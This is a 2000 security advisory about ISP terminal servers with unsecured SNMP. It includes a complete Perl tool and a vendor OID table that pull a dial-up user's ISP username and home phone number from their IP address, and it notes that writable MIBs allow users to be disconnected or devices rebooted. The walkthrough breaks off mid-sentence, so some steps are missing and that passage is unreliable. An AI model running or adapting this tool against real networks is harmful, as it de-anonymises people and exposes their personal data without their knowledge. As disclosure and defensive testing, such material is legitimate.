Subject: [NEWS] Lack of network security found in major backbone providers Date: Thu, 20 Apr 2000 19:03:50 +0200 Lack of network security found in major backbone providers -------------------------------------------------------------------------------- SUMMARY Although prized by many users of the Internet, the concept of privacy has been threatened from many angles in recent years. With the rise of free web-based e-mail and advertisement-sponsored dialup, users have been providing more personal information about their shopping habits and interests, but rarely anything that can trace them to their real-life identity, such as a Internet login name, real name, home phone number, or SSN. A team from Philtered.Net has recently found that this has not been the case for many years. Due to security issues that have been long known and long unresolved on the network level, it is possible to retrieve a user's ISP login name remotely, and on some pieces of hardware, their home phone number, without their knowledge. The only information required to preform this transaction is the user's IP address, which can be retrieved via logs of recently visited web pages, or, not surprisingly, from the headers of e-mails sent via services such as HotMail . In our eyes, this is a problem. DETAILS Background: Every machine on the Internet, short of some private networks, is addressed via an IP address. This IP address is a unique identity for the computer for the duration of connection to the network. When communication with another system on the Internet is conducted, each packet sent is tagged with the recipient and the sender's IP address. Consequently, it is possible to route backwards to the end user's machine. This is not important for our discussion. Enter SNMP, the Simple Network Management Protocol. This protocol allows users of network equipment, (ie. Network Administrators), to remotely query the state of the machine to test for system load, utilization, and configuration. This technique facilitates centralized network monitoring, an important capability for high-reliability networks. The problem, however, is that many of those who run these networks neglected to provide for the proper security restrictions. Because of this, remote unauthorized users can query the state of private networks. This is not a new problem. This is a very old issue that has been ignored for too long. What is new, however, is the large number of users who are now on dialup access, and consequently, dialed into unsecured servers. Additionally, no one released a tool that specifically targets personal information in this way -- until now. A member of Phitered.Net has written a tool using Perl and the CMU-SNMP library that can extract personal information of the end user via connecting to their network access server. This also means that no connection to the end user is ever made; the only network connection made is to the first machine after the end user. Details: To show how simple it is to gain information, via the Internet, based simply on their current IP address, here is a step by step description on how we might gain personal information about a user with the IP address 1.2.3.4. It is important to note that in most cases our target will not even know that they are a target of inquiry, since the procedure does not specify for any packets to be sent to their personal computer. For the most simple attack, we need to know the address of the device that our target is connected through, that is to say, the first machine that each packet to the Internet is being routed through. If we executed a 'traceroute' to the users address, they could surely see our traffic. However, because most of the end user access devices (ie terminal servers, DSL access units) handle many users, it is usually possible to trace to an IP address just one or two addresses from our target. In this case, we will trace to 1.2.3.5. Our theoretical traceroute shows us that the hop The theoretical attacker can often determine the speed and type of connection, the username used on the ISP, idle time, time online, and most disturbingly, other personal information, such as the phone number of the end user. In some cases, the MIB is also writable by remote users. In this situation, remote users can maliciously disconnect the end user, or alter their data routes. In some cases, the entire device that the end user is connected to can be powered down or rebooted. Testing if you are vulnerable: Below is the Perl script we used to demonstrate the issue. Please use this to only test your own network. --- Start of pdox.pl --- #!/usr/bin/perl # ## By: lumpy_ # ## Description: ## Polls SNMP data on terminal servers. # ## Requires: ## ## UCD-SNMP ## - By: Wes Hardaker ## - ftp://ucd-snmp.ucdavis.edu:/ucd-snmp.tar.gz ## Net::SNMP ## - By: David M. Town ## - ../CPAN/modules/by-module/Net/Net-SNMP-2.00.tar.gz # ## Many thanks to: ## Javaman, Sangfroid, miff, floydy, negapluck, sirsyko, hyenur, and hal ## # use Net::SNMP; sub syntax { print "Syntax:\n\tpdox _NAS_DEVICE_ _IP_ [community]\n\n"; exit(1); } sub snmpget { ($oid_to_get)=@_; ($session, $error) = Net::SNMP->session( Hostname => $hostname, Community => $community, Port => $port ); if (!defined($session)) { print("## Cant open device.\n"); exit(1); } if (!defined($response = $session->get_request($oid_to_get))) { printf("## %s\n", $session->error); $session->close;exit(1);} $retval=$response->{$oid_to_get}; $session->close; $retval=unpack("A*",pack("H*",$retval)) if (retval =~ /^0x/); return($retval); } sub snmpwalk { ($oid_to_get)=@_; ($session, $error) = Net::SNMP->session( Hostname => $hostname, Community => $community, Port => $port ); if (!defined($session)) { print("## Cant open device.\n"); exit(1); } if (!defined($response = $session->get_table($oid_to_get))) { printf("## %s\n", $session->error); $session->close;exit(1);} $retval=$response; $session->close; return($retval); } ## Main $hostname = @ARGV[0]; $ip_were_hunting = @ARGV[1]; $community = @ARGV[2] || 'public'; $port = 161; if (!$hostname || !$ip_were_hunting) { syntax; } print "\n### pdox 2.0\n"; $sysdesc=snmpget('1.3.6.1.2.1.1.1.0'); print "## Got System Description: ",substr($sysdesc,0,50),"\n"; $found=0; open(DAT,"pdox.dat"); while(<DAT>) { next if (/^#/); @parts=split; if ($sysdesc =~ /@parts[0]/i) {$found++; last;} } if (!($found)) { print "## Unsupported device!\n"; exit(1); } $userlist=snmpwalk(@parts[1]); $found=0; foreach ( sort keys %$response ) { if ($response->{$_} eq $ip_were_hunting) {$location=$_; substr($location,0,length(@parts[1]))=""; $found++; print "## Found $ip_were_hunting in mib. location: $location\n"; } } if (!($found)) { print "## Couldnt find user in mib!\n"; exit(1); } if (defined(@parts[2])) { print "## Username: ",snmpget(@parts[2].$location),"\n";} if (defined(@parts[3])) { print "## Phone: ",snmpget(@parts[3].$location),"\n";} print "\n"; exit 0; --- End of pdox.pl --- --- Start of pdox.dat --- #Vendor User Address Phone livingston 1.3.6.1.4.1.307.3.2.1.1.1.14 1.3.6.1.4.1.307.3.2.1.1.1.4 lucent 1.3.6.1.4.1.307.3.2.1.1.1.14 1.3.6.1.4.1.307.3.2.1.1.1.4 ascend 1.3.6.1.4.1.529.12.2.1.4 1.3.6.1.4.1.529.12.2.1.3 nortel 1.3.6.1.4.1.166.1.14.2.1.19 1.3.6.1.4.1.166.1.14.2.1.4 shiva 1.3.6.1.4.1.166.1.14.2.1.19 1.3.6.1.4.1.166.1.14.2.1.4 cisco 1.3.6.1.4.1.9.10.19.1.3.1.1.4 1.3.6.1.4.1.9.10.19.1.3.1.1.3 annex-pri 1.3.6.1.4.1.15.2.11.3.1.6 1.3.6.1.4.1.15.2.16.1.1.1.1 1.3.6.1.4.1.15.2.16.1.1.1.2 annex 1.3.6.1.4.1.15.2.3.7.1.51 1.3.6.1.4.1.15.2.3.8.1.2 hiper 1.3.6.1.4.1.429.4.11.2.2.1.7 1.3.6.1.4.1.429.4.11.2.1.1.3 cvx .1.3.6.1.4.1.2637.2.2.101.1.13 .1.3.6.1.4.1.2637.2.2.101.1.12 1.3.6.1.4.1.2637.2.2.101.1.29 aptis .1.3.6.1.4.1.2637.2.2.101.1.13 .1.3.6.1.4.1.2637.2.2.101.1.12 1.3.6.1.4.1.2637.2.2.101.1.29 --- End of pdox.dat --- Fix: - Block SNMP access. - Change community names. - Filter access to network hardware. Conclusion: It is important to note that these security holes are as easy to exploit on DSL connections as they are wit dialup connections. These problems are easily located by security scanning software. ISPs need to be aware that they are not exempt from needing constant security audits in order to ensure QoS. ADDITIONAL INFORMATION The information was provided by: <mailto:javaman@GHETTO.ORG> JavaMan and Lumpy. ==================== DISCLAIMER: The information in this bulletin is provided "AS IS" without warranty of any kind. In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.